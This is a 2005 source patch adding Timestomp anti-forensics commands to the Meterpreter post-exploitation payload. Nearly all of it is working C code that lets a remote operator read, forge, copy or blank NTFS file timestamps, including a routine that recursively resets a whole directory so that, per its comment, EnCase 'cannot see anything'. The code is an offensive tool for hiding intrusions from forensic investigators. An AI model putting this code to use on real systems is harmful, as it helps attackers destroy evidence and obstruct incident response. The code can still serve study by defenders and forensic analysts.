From ecd0afd28b38a63abd050fb4f76d02d376982b9c Mon Sep 17 00:00:00 2001
From: Matt Miller <mmiller@hick.org>
Date: Wed, 14 Dec 2005 00:34:05 +0000
Subject: [PATCH] timestomp integration

git-svn-id: file:///home/svn/incoming/trunk@3219 4d416f70-5f16-0410-b530-b9f4589650da
---
 c/meterpreter/source/extensions/priv/priv.h   |  31 ++
 .../source/extensions/priv/server/fs.c        | 245 +++++++++++
 .../source/extensions/priv/server/fs.h        |  10 +
 .../source/extensions/priv/server/precomp.h   |   1 +
 .../source/extensions/priv/server/priv.c      |  22 +
 .../source/extensions/priv/server/timestomp.c | 405 ++++++++++++++++++
 .../ext_server_priv/ext_server_priv.dsp       |  12 +
 7 files changed, 726 insertions(+)
 create mode 100644 c/meterpreter/source/extensions/priv/server/fs.c
 create mode 100644 c/meterpreter/source/extensions/priv/server/fs.h
 create mode 100644 c/meterpreter/source/extensions/priv/server/timestomp.c

diff --git a/c/meterpreter/source/extensions/priv/priv.h b/c/meterpreter/source/extensions/priv/priv.h
index 35af1271..fb359a1d 100644
--- a/c/meterpreter/source/extensions/priv/priv.h
+++ b/c/meterpreter/source/extensions/priv/priv.h
@@ -12,4 +12,35 @@
 				TLV_TYPE_EXTENSION_PRIV,   \
 				TLV_EXTENSIONS + 1)
 
+#define TLV_TYPE_FS_FILE_MODIFIED      \
+		MAKE_CUSTOM_TLV(                 \
+				TLV_META_TYPE_UINT,        \
+				TLV_TYPE_EXTENSION_PRIV,   \
+				TLV_EXTENSIONS + 100)
+#define TLV_TYPE_FS_FILE_ACCESSED      \
+		MAKE_CUSTOM_TLV(                 \
+				TLV_META_TYPE_UINT,        \
+				TLV_TYPE_EXTENSION_PRIV,   \
+				TLV_EXTENSIONS + 101)
+#define TLV_TYPE_FS_FILE_CREATED       \
+		MAKE_CUSTOM_TLV(                 \
+				TLV_META_TYPE_UINT,        \
+				TLV_TYPE_EXTENSION_PRIV,   \
+				TLV_EXTENSIONS + 102)
+#define TLV_TYPE_FS_FILE_EMODIFIED     \
+		MAKE_CUSTOM_TLV(                 \
+				TLV_META_TYPE_UINT,        \
+				TLV_TYPE_EXTENSION_PRIV,   \
+				TLV_EXTENSIONS + 103)
+#define TLV_TYPE_FS_FILE_PATH          \
+		MAKE_CUSTOM_TLV(                 \
+				TLV_META_TYPE_STRING,      \
+				TLV_TYPE_EXTENSION_PRIV,   \
+				TLV_EXTENSIONS + 110)
+#define TLV_TYPE_FS_SRC_FILE_PATH      \
+		MAKE_CUSTOM_TLV(                 \
+				TLV_META_TYPE_STRING,      \
+				TLV_TYPE_EXTENSION_PRIV,   \
+				TLV_EXTENSIONS + 111)
+
 #endif
diff --git a/c/meterpreter/source/extensions/priv/server/fs.c b/c/meterpreter/source/extensions/priv/server/fs.c
new file mode 100644
index 00000000..f129404a
--- /dev/null
+++ b/c/meterpreter/source/extensions/priv/server/fs.c
@@ -0,0 +1,245 @@
+#include "precomp.h"
+
+// Import code from timestomp
+#include "timestomp.c"
+
+#define EpochTimeToSystemTime(epoch, sys) \
+	{ \
+		struct tm *et = localtime(&epoch); \
+		memset(sys, 0, sizeof(SYSTEMTIME)); \
+		(sys)->wYear    = et->tm_year + 1900; \
+		(sys)->wMonth   = et->tm_mon + 1; \
+		(sys)->wDay     = et->tm_mday; \
+		(sys)->wHour    = et->tm_hour; \
+		(sys)->wMinute  = et->tm_min; \
+		(sys)->wSecond  = et->tm_sec; \
+	}
+
+#define SystemTimeToEpochTime(sys, epoch) \
+	{ \
+		struct tm et; \
+		memset(&et, 0, sizeof(et)); \
+		et.tm_year = (sys)->wYear - 1900; \
+		et.tm_mon  = (sys)->wMonth -1; \
+		et.tm_mday = (sys)->wDay; \
+		et.tm_hour = (sys)->wHour; \
+		et.tm_min  = (sys)->wMinute; \
+		et.tm_sec  = (sys)->wSecond; \
+		*(epoch) = mktime(&et); \
+	}
+
+
+DWORD request_fs_get_file_mace(Remote *remote, Packet *packet)
+{
+	FILE_BASIC_INFORMATION fbi;
+	SYSTEMTIME lt;
+	Packet *response = packet_create_response(packet);
+	HANDLE file = NULL;
+	PCHAR filePath = packet_get_tlv_value_string(packet, TLV_TYPE_FS_FILE_PATH);
+	struct {
+		LARGE_INTEGER *ft;
+		unsigned long tlv;
+	} fields[] = {
+		{ &fbi.LastWriteTime,  TLV_TYPE_FS_FILE_MODIFIED  },
+		{ &fbi.LastAccessTime, TLV_TYPE_FS_FILE_ACCESSED  },
+		{ &fbi.CreationTime,   TLV_TYPE_FS_FILE_CREATED   },
+		{ &fbi.ChangeTime,     TLV_TYPE_FS_FILE_EMODIFIED },
+	};
+	int x;
+
+	do
+	{
+		// Invalid file path, bail.
+		if (!filePath)
+		{
+			SetLastError(ERROR_INVALID_PARAMETER);
+			break;
+		}
+
+		// If we fail to retrieve basic information, bail.
+		if (!(file = RetrieveFileBasicInformation(filePath, &fbi)))
+			break;
+
+		// Convert the time for each field
+		for (x = 0; x < (sizeof(fields) / sizeof(fields[0])); x++)
+		{
+			time_t epoch = 0;
+
+			if (ConvertLargeIntegerToLocalTime(&lt, *fields[x].ft) != 1)
+				break;
+
+			SystemTimeToEpochTime(&lt, &epoch);
+
+			packet_add_tlv_uint(response, fields[x].tlv, epoch);
+		}
+		
+		SetLastError(ERROR_SUCCESS);
+
+	} while (0);
+
+	// Close the file handle.
+	if (file)
+		CloseHandle(file);
+
+	packet_transmit_response(GetLastError(), remote, response);
+
+	return ERROR_SUCCESS;
+}
+
+DWORD request_fs_set_file_mace(Remote *remote, Packet *packet)
+{
+	FILE_BASIC_INFORMATION fbi;
+	Packet *response = packet_create_response(packet);
+	HANDLE file = NULL;
+	PCHAR filePath = packet_get_tlv_value_string(packet, TLV_TYPE_FS_FILE_PATH);
+	struct {
+		LARGE_INTEGER *ft;
+		unsigned long tlv;
+	} fields[] = {
+		{ &fbi.LastWriteTime,  TLV_TYPE_FS_FILE_MODIFIED  },
+		{ &fbi.LastAccessTime, TLV_TYPE_FS_FILE_ACCESSED  },
+		{ &fbi.CreationTime,   TLV_TYPE_FS_FILE_CREATED   },
+		{ &fbi.ChangeTime,     TLV_TYPE_FS_FILE_EMODIFIED },
+	};
+	int x;
+
+	do
+	{
+		// Invalid file path, bail.
+		if (!filePath)
+		{
+			SetLastError(ERROR_INVALID_PARAMETER);
+			break;
+		}
+
+		// If we fail to retrieve basic information, bail.
+		if (!(file = RetrieveFileBasicInformation(filePath, &fbi)))
+			break;
+
+		// If the TLV for the associated field is supplied, update it.
+		for (x = 0; x < (sizeof(fields) / sizeof(fields[0])); x++)
+		{
+			SYSTEMTIME st;
+			unsigned long epoch = packet_get_tlv_value_uint(packet, fields[x].tlv);
+
+			if (!epoch)
+				continue;
+
+			EpochTimeToSystemTime(epoch, &st);
+
+			// Conversion failed, that sucks.
+			if (ConvertLocalTimeToLargeInteger(st, fields[x].ft) == 0)
+				break;
+		}
+
+		// If we fail to set the MACE, bail.
+		if (SetFileMACE(file, fbi) == 0)
+			break;
+
+		SetLastError(ERROR_SUCCESS);
+
+	} while (0);
+
+	// Close the file handle.
+	if (file)
+		CloseHandle(file);
+
+	packet_transmit_response(GetLastError(), remote, response);
+
+	return ERROR_SUCCESS;
+}
+
+DWORD request_fs_set_file_mace_from_file(Remote *remote, Packet *packet)
+{
+	FILE_BASIC_INFORMATION fbi;
+	Packet *response = packet_create_response(packet);
+	PCHAR tgtFilePath = packet_get_tlv_value_string(packet, TLV_TYPE_FS_FILE_PATH);
+	PCHAR srcFilePath = packet_get_tlv_value_string(packet, TLV_TYPE_FS_SRC_FILE_PATH);
+	HANDLE srcFile = NULL, tgtFile = NULL;
+	ULONG attributes;
+
+	do
+	{
+		// Are we missing something?
+		if (!tgtFilePath || !srcFilePath)
+		{
+			SetLastError(ERROR_INVALID_PARAMETER);
+			break;
+		}
+
+		// Get info.
+		if (!(tgtFile = RetrieveFileBasicInformation(tgtFilePath, &fbi)))
+			break;
+		attributes = fbi.FileAttributes;
+		if (!(srcFile = RetrieveFileBasicInformation(srcFilePath, &fbi)))
+			break;
+		fbi.FileAttributes = attributes;
+
+		if (SetFileMACE(tgtFile, fbi) == 0)
+			break;
+
+		SetLastError(ERROR_SUCCESS);
+
+	} while (0);
+
+	if (srcFile)
+		CloseHandle(srcFile);
+	if (tgtFile)
+		CloseHandle(tgtFile);
+
+	packet_transmit_response(GetLastError(), remote, response);
+
+	return ERROR_SUCCESS;
+}
+
+DWORD request_fs_blank_file_mace(Remote *remote, Packet *packet)
+{
+	Packet *response = packet_create_response(packet);
+	PCHAR filePath = packet_get_tlv_value_string(packet, TLV_TYPE_FS_FILE_PATH);
+
+	do
+	{
+		// Are we missing something?
+		if (!filePath)
+		{
+			SetLastError(ERROR_INVALID_PARAMETER);
+			break;
+		}
+
+		if (SetMinimumTimeValues(filePath) == 0)
+			break;
+
+		SetLastError(ERROR_SUCCESS);
+
+	} while (0);
+
+	packet_transmit_response(GetLastError(), remote, response);
+
+	return ERROR_SUCCESS;
+}
+
+DWORD request_fs_blank_directory_mace(Remote *remote, Packet *packet)
+{
+	Packet *response = packet_create_response(packet);
+	PCHAR filePath = packet_get_tlv_value_string(packet, TLV_TYPE_FS_FILE_PATH);
+
+	do
+	{
+		// Are we missing something?
+		if (!filePath)
+		{
+			SetLastError(ERROR_INVALID_PARAMETER);
+			break;
+		}
+
+		if (TheCraigOption(filePath) == 0)
+			break;
+
+		SetLastError(ERROR_SUCCESS);
+
+	} while (0);
+
+	packet_transmit_response(GetLastError(), remote, response);
+
+	return ERROR_SUCCESS;
+}
diff --git a/c/meterpreter/source/extensions/priv/server/fs.h b/c/meterpreter/source/extensions/priv/server/fs.h
new file mode 100644
index 00000000..09b56d33
--- /dev/null
+++ b/c/meterpreter/source/extensions/priv/server/fs.h
@@ -0,0 +1,10 @@
+#ifndef _METERPRETER_SOURCE_EXTENSION_PRIV_PRIV_SERVER_FS_H
+#define _METERPRETER_SOURCE_EXTENSION_PRIV_PRIV_SERVER_FS_H
+
+DWORD request_fs_get_file_mace(Remote *remote, Packet *packet);
+DWORD request_fs_set_file_mace(Remote *remote, Packet *packet);
+DWORD request_fs_set_file_mace_from_file(Remote *remote, Packet *packet);
+DWORD request_fs_blank_file_mace(Remote *remote, Packet *packet);
+DWORD request_fs_blank_directory_mace(Remote *remote, Packet *packet);
+
+#endif
diff --git a/c/meterpreter/source/extensions/priv/server/precomp.h b/c/meterpreter/source/extensions/priv/server/precomp.h
index c5467495..87868389 100644
--- a/c/meterpreter/source/extensions/priv/server/precomp.h
+++ b/c/meterpreter/source/extensions/priv/server/precomp.h
@@ -4,6 +4,7 @@
 #define  _WIN32_WINNT 0x0400
 #include "../priv.h"
 #include "passwd.h"
+#include "fs.h"
 
 #define strcasecmp stricmp
 
diff --git a/c/meterpreter/source/extensions/priv/server/priv.c b/c/meterpreter/source/extensions/priv/server/priv.c
index bf3ad09d..3a3f3fda 100644
--- a/c/meterpreter/source/extensions/priv/server/priv.c
+++ b/c/meterpreter/source/extensions/priv/server/priv.c
@@ -11,6 +11,28 @@ Command customCommands[] =
 	  { EMPTY_DISPATCH_HANDLER                                      },
 	},
 
+	// Fs
+	{ "priv_fs_get_file_mace",
+	  { request_fs_get_file_mace,                          { 0 }, 0 },
+	  { EMPTY_DISPATCH_HANDLER                                      },
+	},
+	{ "priv_fs_set_file_mace",
+	  { request_fs_set_file_mace,                          { 0 }, 0 },
+	  { EMPTY_DISPATCH_HANDLER                                      },
+	},
+	{ "priv_fs_set_file_mace_from_file",
+	  { request_fs_set_file_mace_from_file,                { 0 }, 0 },
+	  { EMPTY_DISPATCH_HANDLER                                      },
+	},
+	{ "priv_fs_blank_file_mace",
+	  { request_fs_blank_file_mace,                        { 0 }, 0 },
+	  { EMPTY_DISPATCH_HANDLER                                      },
+	},
+	{ "priv_fs_blank_directory_mace",
+	  { request_fs_blank_directory_mace,                   { 0 }, 0 },
+	  { EMPTY_DISPATCH_HANDLER                                      },
+	},
+
 	// Terminator
 	{ NULL,
 	  { EMPTY_DISPATCH_HANDLER                      },
diff --git a/c/meterpreter/source/extensions/priv/server/timestomp.c b/c/meterpreter/source/extensions/priv/server/timestomp.c
new file mode 100644
index 00000000..0a826cfd
--- /dev/null
+++ b/c/meterpreter/source/extensions/priv/server/timestomp.c
@@ -0,0 +1,405 @@
+/*	
+	Copyright (C) 2005 Vincent Liu
+
+	This file is part of Timestomp
+
+	Timestomp is free software; you can redistribute it and/or modify
+    it under the terms of the GNU General Public License as published by
+    the Free Software Foundation; either version 2 of the License, or
+    (at your option) any later version.
+
+    This program is distributed in the hope that it will be useful,
+    but WITHOUT ANY WARRANTY; without even the implied warranty of
+    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+    GNU General Public License for more details.
+
+    You should have received a copy of the GNU General Public License
+    along with this program; if not, write to the Free Software
+    Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA  02110-1301  USA
+*/
+
+// #######################################################################
+// ############ HEADER FILES
+// #######################################################################
+#include <windows.h>
+#include <stdio.h>
+
+// #######################################################################
+// ############ DEFINITIONS
+// #######################################################################
+#define OBJ_EXCLUSIVE           0x00000020L
+#define OBJ_KERNEL_HANDLE       0x00000200L
+#define FILE_NON_DIRECTORY_FILE 0x00000040
+
+typedef LONG NTSTATUS;
+
+typedef struct _IO_STATUS_BLOCK {
+    union {
+        NTSTATUS Status;
+        PVOID Pointer;
+    };
+    ULONG_PTR Information;
+} IO_STATUS_BLOCK, *PIO_STATUS_BLOCK;
+
+typedef enum _FILE_INFORMATION_CLASS {
+    FileBasicInformation = 4,           
+    FileStandardInformation = 5,        
+    FilePositionInformation = 14,        
+    FileEndOfFileInformation = 20,       
+} FILE_INFORMATION_CLASS, *PFILE_INFORMATION_CLASS;
+
+typedef struct _FILE_BASIC_INFORMATION {                    
+    LARGE_INTEGER CreationTime;							// Created             
+    LARGE_INTEGER LastAccessTime;                       // Accessed    
+    LARGE_INTEGER LastWriteTime;                        // Modifed
+    LARGE_INTEGER ChangeTime;                           // Entry Modified
+    ULONG FileAttributes;                                   
+} FILE_BASIC_INFORMATION, *PFILE_BASIC_INFORMATION;
+
+typedef NTSTATUS (WINAPI *pNtQueryInformationFile)(HANDLE, PIO_STATUS_BLOCK, PVOID, ULONG, FILE_INFORMATION_CLASS);
+typedef NTSTATUS (WINAPI *pNtSetInformationFile)(HANDLE, PIO_STATUS_BLOCK, PVOID, ULONG, FILE_INFORMATION_CLASS);
+
+DWORD ParseDateTimeInput(char *inputstring, SYSTEMTIME *systemtime);
+HANDLE RetrieveFileBasicInformation(char *filename, FILE_BASIC_INFORMATION *fbi);
+DWORD ConvertLocalTimeToLargeInteger(SYSTEMTIME localsystemtime, LARGE_INTEGER *largeinteger);
+DWORD ConvertLargeIntegerToLocalTime(SYSTEMTIME *localsystemtime, LARGE_INTEGER largeinteger);
+DWORD SetFileMACE(HANDLE file, FILE_BASIC_INFORMATION fbi);
+DWORD InputHandler(int argc, char **argv);
+void PrintSystemTime(SYSTEMTIME systime);
+void Usage();
+
+
+// #######################################################################
+// ############ FUNCTIONS
+// #######################################################################
+
+/* returns 0 on error, 1 on success. this function set the MACE values based on 
+the input from the FILE_BASIC_INFORMATION structure */
+DWORD SetFileMACE(HANDLE file, FILE_BASIC_INFORMATION fbi) {
+
+	HANDLE ntdll = NULL;
+	IO_STATUS_BLOCK iostatus;
+	pNtSetInformationFile NtSetInformationFile = NULL;
+
+	ntdll = LoadLibrary("ntdll.dll");
+	if (ntdll == NULL) {
+		return 0;
+	}
+
+	NtSetInformationFile = (pNtSetInformationFile)GetProcAddress(ntdll, "NtSetInformationFile");
+	if (NtSetInformationFile == NULL) {
+		return 0;
+	}
+
+	if (NtSetInformationFile(file, &iostatus, &fbi, sizeof(FILE_BASIC_INFORMATION), FileBasicInformation) < 0) {
+		return 0;
+	}
+	
+	/* clean up */
+	FreeLibrary(ntdll);
+
+	return 1;
+}
+
+/* returns the handle on success or NULL on failure. this function opens a file and returns
+the FILE_BASIC_INFORMATION on it. */
+HANDLE RetrieveFileBasicInformation(char *filename, FILE_BASIC_INFORMATION *fbi) {
+	
+	HANDLE file = NULL;
+	HANDLE ntdll = NULL;
+	pNtQueryInformationFile NtQueryInformationFile = NULL;
+	IO_STATUS_BLOCK iostatus;
+	
+	file = CreateFile(filename, FILE_READ_ATTRIBUTES | FILE_WRITE_ATTRIBUTES, 0, NULL, OPEN_EXISTING, 0, NULL);
+	if (file == INVALID_HANDLE_VALUE) {
+		return 0;
+	}
+
+	/* load ntdll and retrieve function pointer */
+	ntdll = LoadLibrary("ntdll.dll");
+	if (ntdll == NULL) {
+		CloseHandle(file);
+		return 0;
+	}
+
+	/* retrieve current timestamps including file attributes which we want to preserve */
+	NtQueryInformationFile = (pNtQueryInformationFile)GetProcAddress(ntdll, "NtQueryInformationFile");
+	if (NtQueryInformationFile == NULL) {
+		CloseHandle(file);
+		return 0;
+	}
+
+	/* obtain the current file information including attributes */
+	if (NtQueryInformationFile(file, &iostatus, fbi, sizeof(FILE_BASIC_INFORMATION), FileBasicInformation) < 0) {
+		CloseHandle(file);
+		return 0;
+	}
+
+	/* clean up */
+	FreeLibrary(ntdll);
+
+	return file;
+}
+
+// returns 0 on error, 1 on success. this function converts a SYSTEMTIME structure to a LARGE_INTEGER
+DWORD ConvertLocalTimeToLargeInteger(SYSTEMTIME localsystemtime, LARGE_INTEGER *largeinteger) {
+
+	// the local time is stored in the system time structure argument which should be from the user
+	// input. the user inputs the times in local time which is then converted to utc system time because
+	// ntfs stores all timestamps in utc, which is then converted to a large integer
+	
+	// MSDN recommends converting SYSTEMTIME to FILETIME via SystemTimeToFileTime() and
+	// then copying the values in FILETIME to a ULARGE_INTEGER structure.
+
+	FILETIME filetime;
+	FILETIME utcfiletime;
+	DWORD result = 0;
+
+	/*
+	result = GetTimeZoneInformation(&timezone);
+	if (result == TIME_ZONE_ID_INVALID) {
+	printf("Error: Could not obtain the local time zone information.\n");
+		return 0;
+	}
+	
+	if (TzSpecificLocalTimeToSystemTime(&timezone, &localsystemtime, &utcsystemtime) == 0) {
+		printf("Error: Couldn't convert local time to UTC time.\n");
+		return 0;
+	}
+	*/
+
+	// convert the SYSTEMTIME structure to a FILETIME structure
+    if (SystemTimeToFileTime(&localsystemtime, &filetime) == 0) {
+		return 0;
+	}
+
+	// convert the local file time to UTC
+	if (LocalFileTimeToFileTime(&filetime, &utcfiletime) == 0) {
+		return 0;
+	}
+
+	/* copying lowpart from a DWORD to DWORD, and copying highpart from a DWORD to a LONG.
+	potential data loss of upper values 2^16, but acceptable bc we wouldn't be able to set 
+	this high even if we wanted to because NtSetInformationFile() takes a max of what's
+	provided in LARGE_INTEGER */
+	largeinteger->LowPart = utcfiletime.dwLowDateTime;
+	largeinteger->HighPart = utcfiletime.dwHighDateTime;	
+
+	return 1;
+}
+
+/* returns 0 on error, 1 on success. this function converts a LARGE_INTEGER to a SYSTEMTIME structure */
+DWORD ConvertLargeIntegerToLocalTime(SYSTEMTIME *localsystemtime, LARGE_INTEGER largeinteger) {
+
+	FILETIME filetime;
+	FILETIME localfiletime;
+	DWORD result = 0;
+
+	filetime.dwLowDateTime = largeinteger.LowPart;
+	filetime.dwHighDateTime = largeinteger.HighPart;
+
+	if (FileTimeToLocalFileTime(&filetime, &localfiletime) == 0) {
+		return 0;
+	}
+
+    if (FileTimeToSystemTime(&localfiletime, localsystemtime) == 0) {
+		return 0;
+	}
+/*
+	result = GetTimeZoneInformation(&timezone);
+	if (result == TIME_ZONE_ID_INVALID) {
+	printf("Error: Could not obtain the local time zone information.\n");
+		return 0;
+	}
+	
+	if (SystemTimeToTzSpecificLocalTime(&timezone, &utcsystemtime, localsystemtime) == 0) {
+		printf("Error: Couldn't convert UTC time to local time.\n");
+		return 0;
+	}
+*/
+	return 1;
+}
+
+/* returns 1 on success or 0 on failure. this function converts an input string into a SYSTEMTIME structure */
+DWORD ParseDateTimeInput(char *inputstring, SYSTEMTIME *systemtime) {
+
+	char day[10];
+	char daynight[3];
+
+	if (sscanf(inputstring, "%9s %hu/%hu/%hu %hu:%hu:%hu %2s", day, &systemtime->wMonth, &systemtime->wDay, &systemtime->wYear, &systemtime->wHour, &systemtime->wMinute, &systemtime->wSecond, daynight) == 0) {
+		return 0;
+	}
+
+	/* sanitize input */
+	if (strlen(day) > 0) {
+		CharLower(day);
+	} else {
+		return 0;
+	}
+
+	do {
+		if (day[0] == 'm') { if (strncmp(day, "monday", 6) == 0) { systemtime->wDayOfWeek = 1; break; } }
+		if (day[0] == 't') { if (strncmp(day, "tuesday", 7) == 0) { systemtime->wDayOfWeek = 2; break; } 	
+							 if (strncmp(day, "thursday", 8) == 0) { systemtime->wDayOfWeek = 4; break; } }
+		if (day[0] == 'w') { if (strncmp(day, "wednesday", 9) == 0) { systemtime->wDayOfWeek = 3; break; } }
+		if (day[0] == 'f') { if (strncmp(day, "friday", 6) == 0) { systemtime->wDayOfWeek = 5; break; } }
+		if (day[0] == 's') { if (strncmp(day, "saturday", 8) == 0) { systemtime->wDayOfWeek = 6; break; }
+							 if (strncmp(day, "sunday", 6) == 0) { systemtime->wDayOfWeek = 0; break; } }
+		
+		return 0;
+	} while (0);
+
+
+	if (systemtime->wMonth < 1 || systemtime->wMonth > 12) {
+		return 0;
+	}
+	if (systemtime->wDay < 1 || systemtime->wDay > 31) {
+		return 0;
+	}
+	if (systemtime->wYear < 1601 || systemtime->wYear > 30827) {
+		return 0;
+	}
+
+	if (strlen(daynight) > 0) {
+		CharLower(daynight);
+	} else {
+		return 0;
+	}
+	if (strncmp(daynight, "am", 2) == 0) {
+		if (systemtime->wHour < 1 || systemtime->wHour > 12) {
+			return 0;
+		}
+	} else if (strncmp(daynight, "pm", 2) == 0) {
+		if (systemtime->wHour < 1 || systemtime->wHour > 12) {
+			return 0;
+		}
+		if (systemtime->wHour != 12) { systemtime->wHour += 12; }
+	} else {
+		return 0;
+	}
+
+	if(systemtime->wMinute < 0 || systemtime->wMinute > 59) {
+		return 0;
+	}
+	if(systemtime->wSecond < 0 || systemtime->wSecond > 59) {
+		return 0;
+	}
+
+	/* it doesnt matter what the millisecond value is because the ntfs resolution for file timestamps is only up to 1s */
+	systemtime->wMilliseconds = 0;
+
+	return 1;
+}
+
+// takes a file a sets the time values to the minimum possible value, return 1 on success or 0 on failure
+DWORD SetMinimumTimeValues(char *filename) {
+
+	HANDLE file = NULL;
+	FILE_BASIC_INFORMATION fbi;
+	SYSTEMTIME userinputtime;
+
+	// open the file and retrieve information
+	file = RetrieveFileBasicInformation(filename, &fbi);
+	if (file == NULL) {
+		return 0;
+	}
+
+	userinputtime.wYear = 1601;
+	userinputtime.wMonth = 1;
+	userinputtime.wDayOfWeek = 0;
+	userinputtime.wDay = 1;
+	userinputtime.wHour = 0;
+	userinputtime.wMinute = 0;
+	userinputtime.wSecond = 0;
+	userinputtime.wMilliseconds = 0;
+	if ((ConvertLocalTimeToLargeInteger(userinputtime, &fbi.ChangeTime) == 0) || (ConvertLocalTimeToLargeInteger(userinputtime, &fbi.CreationTime) == 0) ||
+		(ConvertLocalTimeToLargeInteger(userinputtime, &fbi.LastAccessTime) == 0) || (ConvertLocalTimeToLargeInteger(userinputtime, &fbi.LastWriteTime) == 0)) {
+		return 0;
+	}	
+	if (SetFileMACE(file, fbi) == 0) { return 0; }
+
+	return 1;
+}
+
+// this function recursively blanks all files from the specified directory so that EnCase cannot see anything
+DWORD TheCraigOption(char *directoryname) {
+	
+	// general variables
+	HANDLE file = NULL;
+	char currentfiletarget[MAX_PATH + 1];
+
+	// file search variables
+	HANDLE find = INVALID_HANDLE_VALUE;
+	WIN32_FIND_DATA FindFileData;
+	char fulldirectorypath[MAX_PATH + 1];
+
+	// set the target directories
+	strncpy(fulldirectorypath, directoryname, strlen(directoryname)+1);
+	strncat(fulldirectorypath, "\\*", 3);
+	
+	// search the directory
+	find = FindFirstFile(fulldirectorypath, &FindFileData);
+	if (find == INVALID_HANDLE_VALUE) {
+		if (GetLastError() == 5) { // access denied
+			return 1;
+		}
+		return 0;
+	}
+
+	// recursively call TheCraigOption if the file type is a directory
+	if (FindFileData.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) {
+		if ((strncmp(FindFileData.cFileName, ".", 1) != 0) && (strncmp(FindFileData.cFileName, "..", 2) != 0)) {
+			strncpy(currentfiletarget, directoryname, strlen(directoryname) + 1);
+			strncat(currentfiletarget, "\\", 2);
+			strncat(currentfiletarget, FindFileData.cFileName, strlen(FindFileData.cFileName));
+			if (TheCraigOption(currentfiletarget) == 0) {
+				return 0;
+			}
+		}
+	} else {
+		// set the full file name and lower the time values
+		strncpy(currentfiletarget, directoryname, strlen(directoryname) + 1);
+		strncat(currentfiletarget, "\\", 2);
+		strncat(currentfiletarget, FindFileData.cFileName, strlen(FindFileData.cFileName));
+		if (SetMinimumTimeValues(currentfiletarget) == 0) {
+			//return 0;
+		}
+	}
+
+	// recursively set all values
+	while (FindNextFile(find, &FindFileData) != 0) {
+
+		// recursively call TheCraigOption if the file type is a directory
+		if (FindFileData.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) {
+			if ((strncmp(FindFileData.cFileName, ".", 1) != 0) && (strncmp(FindFileData.cFileName, "..", 2) != 0)) {
+				strncpy(currentfiletarget, directoryname, strlen(directoryname) + 1);
+				strncat(currentfiletarget, "\\", 2);
+				strncat(currentfiletarget, FindFileData.cFileName, strlen(FindFileData.cFileName));
+				if (TheCraigOption(currentfiletarget) == 0) {
+					return 0;
+				}
+			}
+		} else {
+			// set the full file name and lower the time values
+			strncpy(currentfiletarget, directoryname, strlen(directoryname) + 1);
+			strncat(currentfiletarget, "\\", 2);
+			strncat(currentfiletarget, FindFileData.cFileName, strlen(FindFileData.cFileName));
+			if (SetMinimumTimeValues(currentfiletarget) == 0) {
+				//return 0;
+			}
+		}
+	}
+
+	// cleanup find data structures
+	if (FindClose(find) == 0) {
+		return 0;
+	}
+	if (GetLastError() != ERROR_NO_MORE_FILES) {
+		if (GetLastError() == 5) { // access denied
+			return 1;
+		}
+		return 0;
+	}
+
+	return 1;
+}
diff --git a/c/meterpreter/workspace/ext_server_priv/ext_server_priv.dsp b/c/meterpreter/workspace/ext_server_priv/ext_server_priv.dsp
index e6c1e473..62ecbd05 100755
--- a/c/meterpreter/workspace/ext_server_priv/ext_server_priv.dsp
+++ b/c/meterpreter/workspace/ext_server_priv/ext_server_priv.dsp
@@ -102,6 +102,18 @@ SOURCE=..\..\source\extensions\priv\server\passwd.c
 SOURCE=..\..\source\extensions\priv\server\passwd.h
 # End Source File
 # End Group
+# Begin Group "Fs"
+
+# PROP Default_Filter ""
+# Begin Source File
+
+SOURCE=..\..\source\extensions\priv\server\fs.c
+# End Source File
+# Begin Source File
+
+SOURCE=..\..\source\extensions\priv\server\fs.h
+# End Source File
+# End Group
 # Begin Source File
 
 SOURCE=..\..\source\extensions\priv\server\precomp.h